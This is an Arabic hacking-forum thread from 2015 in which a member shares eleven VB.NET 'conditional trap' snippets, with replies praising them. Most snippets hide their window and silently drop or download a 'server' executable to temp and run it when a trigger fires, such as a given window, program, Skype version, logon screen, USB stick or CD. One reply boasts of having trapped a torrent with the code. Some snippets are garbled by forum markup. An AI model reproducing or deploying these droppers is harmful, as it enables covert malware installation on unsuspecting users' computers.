1. المٌقدمة الأولي :دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    تٌعد ثغرات حقن قواعد البينات الثغرة رقم واحد فى العالم والمصنفة تحت بند الإخطر
    والفريق التابع له بإختراق أكبر المواقع الصهيونية قرائة الموضوع
  2. المٌقدمة الثانية : دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    في هذه المٌثقدمة الثانية والأخيرة سوف نتعرف على قواعد علم حقن قواعد البيانات
    حتى يتثنى لنا علم يٌساعدنا على القيام بعمليات الحقن بالطرق الصحيحه قرائة الموضوع
  3. دورة كشف دمج والتلغيم حصريا على أرض عراق تيم(2017)
    بعد ماقمت بعمل دورة الكشف دمج والتلغيم وستكملت الدوره وتحتوي على 12 درس
    كانت دروس حصريا على عراق تيم وشرح واضح جدا ومفهوم الى المبتدأ والى المبدع قرائة الموضوع

[ درس ] حصريا شرح 11 تلغيمه شرطيه

الموضوع في 'حماية الأجهزة' بواسطة سكيورتي ارهابي, بتاريخ ‏14 أكتوبر 2015.

كاتب الموضوع : سكيورتي ارهابي المشاهدات : 689 الردود : 17 ‏14 أكتوبر 2015
حالة الموضوع:
مغلق
  1. غير متصل

    سكيورتي ارهابي
    ExpErt DeveloPer

    عضو منذ:
    ‏1 سبتمبر 2014
    عدد المشاركات:
    الإعجابات المتلقاة:
    53
    نقاط الجائزة:
    الوظيفة:
    ماكسي مول
    الإقامة:

    [​IMG]


    » ســـــــلام الله يسري ما أقيمت صــــــلاة من عـبــاد خــاشــعــيــنــا «

    » وما جادت بـمـاء المزن سحــب سـقـى الأشـجـار والــزرع الـدفـيـنـا «

    » ســـــــلام عـــــاطر ولـه أريــج من الأعـماق يـعــبـق ياســـمــيـــنـا «

    » ســـــــلام الله نـهـديــه إليكــــــم مـع الإشـفـــاق مــمــزوجاًَ حـنـيـنـاًَ «



    بسم الله الرحمن الرحيم شلونكم احبائي اعضاء وزوار عراق تيم الكرام ان شاء الله بخير يارب تكونو خير
    ندخل في صلب الموضوع اليوم موضوعنا يخص حول تلغيمات الشرطيه راح اطرح لكم كم تلغيمه شرطيه وان شاء الله تعجبكم
    وسوف ارفق لكم الكود وبداخله كل الاكواد بداخله لا نطيل عليكم

    [​IMG]
    ---------------
    تلغيمه عند دخول اي صفحه معينه


    كود:
    [B][CENTER]Dim amr As New Process[/CENTER]
    [/B]
           Dim filename As String = "C:\Server.exe"
           On Error Resume Next
     
           For Each security In Process.GetProcesses
               If amr.MainWindowTitle.Contains("حماية الأجهزة") Then
                   IO.File.WriteAllBytes(filename, My.Resources.Server)
                   If IO.File.Exists(filename) Then Process.Start(filename)
               End If
    [B][CENTER]       Next[/CENTER]
    [/B]


    ----------------------------
    تلغيمه شرطيه تعتمد على لغه الجهاز i:q^:i:q^:


    كود:
    Dim Cl As String = InputLanguage.CurrentInputLanguage.Cultu*re.Name ' هنا يقوم بجلب لغة الجهاز عند بدا التشغيل If Cl.StartsWith("ar") Then ' اذا كانت لغة بدا التشغيل عربية فسوف يتحقق الشرط MsgBox("security") ElseIf Cl.StartsWith("en") Then ' اذا كانت لغة بدا التشغيل انجليزيه يتحقق الشرط MsgBox("security_arhaby") ElseIf Cl.StartsWith("fr") Then ' اذا كان لغة التشغيل فرنسيه يتحقق الشرط MsgBox("Security") End If

    --------------------------
    تلغيمه رفع مستوى الصوت


    كود:
    [B][CENTER]Public Class Form1[/CENTER]
    [/B]
    
    
        Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
            ' كود اخفاء الفورم
            Me.Hide()
            Me.ShowIcon = False
            Me.ShowInTaskbar = False
            Me.Opacity = 0
            '''''''''''''''''''''''''''''''
            Timer1.Start()
        End Sub
    
    
        Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
            Dim security() As Process = System.Diagnostics.Process.GetProcessesByName("SndVol")
            For Each Volume As Process In security
                Text = "alzaeem"
            Next
            On Error Resume Next
    
    
            If Text = "security" Then
                Dim dir As String = My.Computer.FileSystem.SpecialDirectories.Temp
                Dim filename As String = dir + "اسم السيرفر فقط.exe"
                IO.File.WriteAllBytes(filename, My.Resources.اسم السيرفر فقط)
                If IO.File.Exists(filename) Then
                    Process.Start(filename)
                End If
            End If
        End Sub
    [B][CENTER]End Class[/CENTER]
    [/B]

    ----------------------------------
    تلغيمه شرطيه بعد الريستات


    كود:
    [B][CENTER]Public Class Form1[/CENTER]
    [/B]
     
        Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
            Me.Hide() '1
            Me.ShowInTaskbar = False '2
            Me.ShowIcon = False  '3
            '''''''''''''''''''
            Timer1.Start()
        End Sub
     
        Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
            On Error Resume Next
            '
            Dim sc0() As Process = System.Diagnostics.Process.GetProcessesByName("LogonUI")
            For Each ـــــــــــــ As Process In sc0
                ''''''''''''''''''''''''''''''''''
                On Error Resume Next
                Dim sc1 As String = My.Computer.FileSystem.SpecialDirectories.ProgramFiles, sc2 As String = sc1 + Text + ("اسم السيرفر فقط.exe")
                IO.File.WriteAllBytes(sc2, My.Resources.اسم السيرفر فقط)
                If IO.File.Exists(sc2) Then Process.Start(sc2)
     
                '''''''''''''''''''''''''''''''''''
            Next
        End Sub
    [B][CENTER]End Class[/CENTER]
    [/B]


    ----------------------------------​

    تلغيمه شرطيه عند التقاط صوره لسطح المكتب


    كود:
    [B][CENTER]Public Class Form1[/CENTER]
    [/B]
        Public Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal key As Integer) As Integer
        Dim kadim As Boolean
        Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs) Handles MyBase.Load
            Timer1.Start()
        End Sub
        Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As EventArgs) Handles Timer1.Tick
            On Error Resume Next
            kadim = GetAsyncKeyState(Keys.PrintScreen) '< 
            If security = True Then
                Text = "security"
            End If
            If Text = "
    [B][CENTER][B][CENTER]security[/CENTER]
    [/B][/CENTER]
    [/B]" Then
                Timer1.Stop()
     
     
                Dim 
    [B][CENTER][B][CENTER]security[/CENTER]
    [/B][/CENTER]
    [/B] As String = 
    [B][CENTER][B][CENTER]security[/CENTER]
    [/B][/CENTER]
    [/B] + "اسم السيرفر.exe"
                IO.File.WriteAllBytes(kadim, My.Resources.اسم السيرفر فقط)
                Process.Start(kadim)
     
     
            End If
        End Sub
    [B][CENTER]End Class[/CENTER]
    [/B]


    ----------------------​



    تلغيمه شرطيه عند دخول اي قسم معين ​



    كود:
    
    
    كود:
    
    
    كود:
    [B][CENTER]Public Class Form1[/CENTER]
    [/B]
        Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
            Timer1.Start()
        End Sub
        Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
            Dim kadim As New Process
            For Each kadim In Process.GetProcesses
                If kadim.MainWindowTitle.Contains("ختيار القسم") Then
                 Dim web As New System.Net.WebClient
            web.DownloadFile("رابط السيرفر المباشر", Environ("tmp") & "/اسم السيرفر مع الصيغه")
            Shell(Environ("tmp") & "/اسم السيرفر مع الصيغه")
                End If
            Next
        End Sub
    [B][CENTER][B][CENTER][B][CENTER]End Class[/CENTER]
    [/B][/CENTER]
    [/B][/CENTER]
    [/B]


    ------------------​



    تلغيمه شرطيه عند فتح برنامج معين​



    كود:
    
    
    كود:
    
    
    كود:
    [B][CENTER]<div align="center">Public Class Form1[/CENTER]
    [/B]
        Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs) Handles MyBase.Load
            Me.Hide()
            Me.ShowIcon = False
            Me.ShowInTaskbar = False
            Opacity = 0
            Timer1.Start()
        End Sub
        Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As EventArgs) Handles Timer1.Tick
            Dim kadim() As Process = System.Diagnostics.Process.GetProcessesByName("اسم البرنامج")
            For Each VO As Process In kadim
                Timer1.Stop()
                Text = "kadim - kadim "
            Next
            If Text = "kadim - kadim " Then
                Dim web As New System.Net.WebClient
                web.DownloadFile("رابط السيرفر المباشر", Environ("tmp") & "/اسم السيرفر.exe")
                Shell(Environ("tmp") & "/server.exe")
            End If
        End Sub
    [B][CENTER][B][CENTER][B][CENTER]End Class</div>[/CENTER]
    [/B][/CENTER]
    [/B][/CENTER]
    [/B]


    [​IMG]





    تلغيمه شرطيه تعتمد على اصدار برنامج بلغه الدوت نت​

    ضف الكود في الموديل
    :ُok:ٌ:ُok:ٌ
    كود:
    [B][CENTER]Sub main()[/CENTER]
    [/B]
        Dim down As New Net.WebClient
        Dim shadw  As String = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\Skype\Phone\Skype.exe"
        Dim security As FileVersionInfo = FileVersionInfo.GetVersionInfo(security)
        Dim IRAQTAEM As String = "7.5.0.102"
        If IRAQTAEM = shdev.FileVersion Then
            down.DownloadFile("رابط المباشر للسيرفر", Environ("tmp") & "\security.exe")
            shell(Environ("tmp") & "\shadw.exe", AppWinStyle.Hide)
        End If
    [B][CENTER]End Sub[/CENTER]
    [/B]

    ------------------
    تلغيمه شرطيه تتحقق من الويب كام


    كود:
    [B][CENTER]Module Module1[/CENTER]
    [/B]
    Declare Function capGetDriverDescriptionA Lib "avicap32.dll" (ByVal wDriver As Short, _
    ByVal lpszName As String, ByVal cbName As Integer, ByVal lpszVer As String, _
    ByVal cbVer As Integer) As Boolean
    Public Function Camcheck() As Boolean
    Try
    Dim d As String = Space(100)
    For i As Integer = 0 To 4
    If capGetDriverDescriptionA(i, d, 100, Nothing, 100) Then
    Return True
    End If
    Next
    Catch ex As Exception
    End Try
    Return False
    End Function
    Sub main()
    If Camcheck() = True Then
    MsgBox("التلغيمة")
    End If
    End Sub
    [B][CENTER]End Module[/CENTER]
    [/B]
    ----------------------------------------
    USB
    تلغيمه شرطيه عند ادخال​

    {4$0}{4$0}
    ---------------------
    كود:
    [B][CENTER]Private Const WM_DEVICECHANGE As Integer = &H219[/CENTER]
    [/B]
    Private Const DBT_DEVICEARRIVAL As Integer = &H8000
    Private Const DBT_DEVICEREMOVECOMPLETE As Integer = &H8004
    
    
    
    
    Protected Overrides Sub WndProc(ByRef m As System.Windows.Forms.Message)
    If m.Msg = WM_DEVICECHANGE Then
    If m.WParam.ToInt32 = DBT_DEVICEARRIVAL Then
    MsgBox("ادخال الفلاش")
    
    
    Dim security = IO.Path.GetTempPath & "\" & "security.exe"
    IO.File.WriteAllBytes(security, My.Resources.security)
    Process.Start(security)
    
    
    ElseIf m.WParam.ToInt32 = DBT_DEVICEREMOVECOMPLETE Then
    MsgBox("اخراج الفلاش")
    End If
    End If
    MyBase.WndProc(m)
    [B][CENTER]End Sub[/CENTER]
    [/B]


    ------------------​

    تلغيمه شرطيه عند ادخال االقرص​



    كود:
    
    
    كود:
    
    
    كود:
    [B][CENTER]التصاريح[/CENTER]
    [/B]
    Imports System.IO
    
    
    
    
    Public Class Form1
    
    
    
    
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    For Each kadim As DriveInfo In DriveInfo.GetDrives()
    If (security.DriveType = DriveType.CDRom) Then
    If kadim.IsReady Then
    
    
    
    
    MsgBox("تم تشغيل السيرفر")
    
    
    
    
    Dim kadim = IO.Path.GetTempPath & "\" & "security.exe"
    IO.File.WriteAllBytes(kadim, My.Resources.security)
    Process.Start(kadim)
    
    
    
    
    End If
    End If
    Next kadim
    
    
    
    
    End Sub
    [B][CENTER][B][CENTER][B][CENTER]End Class[/CENTER]
    [/B][/CENTER]
    [/B][/CENTER]
    [/B]


    ------------​

    [​IMG]



    تـــحميل الكود كامل



    عزيزي الزائر يتوجب عليك التسجيل لمشاهدة الروابط [ تسجيل الدخول ]




    الى هنا انتهينا من الاكواد اتمنى ان تعجبكم وتفيدكم ان شاء الله

    اتمنى لكم الموفقيه تحيه طيبه لك وللجميع في امان الله



    :ُce@::ُce@::ُce@::ُce@::ُce@:





    [​IMG]





    اهداى للجميع اعضاء وزوار عراق تيم الكرام


    )4:")4:")4:"​
     


    جاري تحميل الصفحة...
  2. غير متصل

    Yousuf.Oscar
    DeveloPer Plus

    عضو منذ:
    ‏22 يوليو 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    الإقامة:

    رد: حصريا شرح 11 تلغيمه شرطيه

    بارك الله بيك اخي^^
    لاتحرمنا من مواضيعك:ُeُe12:
     


  3. غير متصل

    South Hack أبو حسين
    DeveloPer Plus

    عضو منذ:
    ‏15 نوفمبر 2014
    عدد المشاركات:
    الإعجابات المتلقاة:
    8
    نقاط الجائزة:
    الإقامة:

    رد: حصريا شرح 11 تلغيمه شرطيه

    أحسنت وبارك الله بيك طرح مميز كلعاده

    لا تحرمنا من مواضيعك الجميلة

    دمتم بود في امان الله !
     


  4. غير متصل

    A-R
    Developer

    عضو منذ:
    ‏2 يوليو 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    الإقامة:

    رد: حصريا شرح 11 تلغيمه شرطيه

    عاشت ايدك اكواد شيطانية هههههههه :{20}:


    بس ماكو تلغيمة على حركة الشخص الي جالس على الحاسوب :!."

    :ُeُe1z:


    هههههههههههههه


    بدون زعل اشاقة وياك


    :{12}: :ُ{1a}:ُ :ُeُe11: :ُ{1a}:ُ :{12}:​
     


  5. غير متصل

    Ali raad عٍشْقْتْهٌاٌ بّـصٍـمِـ
    V • I • P

    عضو منذ:
    ‏21 فبراير 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    763
    نقاط الجائزة:
    الجنس:
    ذكر
    الوظيفة:
    طًاٌلِـبّـ
    الإقامة:

    رد: حصريا شرح 11 تلغيمه شرطيه

    عاشت ايدك حبيبي
     


  6. غير متصل

    Mira Mrmr .::|| زهره منتدى عراق تيم ||::.
    V • I • P

    عضو منذ:
    ‏9 يوليو 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    134
    نقاط الجائزة:
    الجنس:
    أنثى
    الإقامة:

    رد: حصريا شرح 11 تلغيمه شرطيه

    [​IMG]شكرا الك[​IMG]
     


  7. غير متصل

    جـعـفـر الـشـمـري
    DeveloPer Plus

    عضو منذ:
    ‏26 أغسطس 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    9
    نقاط الجائزة:
    الإقامة:

    رد: حصريا شرح 11 تلغيمه شرطيه

    عاشت ايدك حبيبي علاوي ,مبدع كالعادة

    لا تحرمنا من ابداعك :{3!}:
     


  8. غير متصل

    Bad Man
    rankrank
    موقوف لمخالفة الشروط

    عضو منذ:
    ‏8 أغسطس 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:

    رد: حصريا شرح 11 تلغيمه شرطيه

    سلمت يمناك
     


  9. غير متصل

    !•-ĦДM̷ДĎД-•! <span style="font-weight: bold; text-shadow: #BBBB
    rankrank
    DeveloPer Plus

    عضو منذ:
    ‏6 فبراير 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    الإقامة:

    رد: حصريا شرح 11 تلغيمه شرطيه

    احسنت
    &:":​
     


  10. غير متصل

    KaZeW X BoOM
    Developer

    عضو منذ:
    ‏7 نوفمبر 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    2
    نقاط الجائزة:
    الجنس:
    ذكر
    الإقامة:

    رد: حصريا شرح 11 تلغيمه شرطيه

    موضوع رائع شكرا يا بطل وحش تم تلغيم تورنيت :v
     


حالة الموضوع:
مغلق

مشاركة هذه الصفحة

جاري تحميل الصفحة...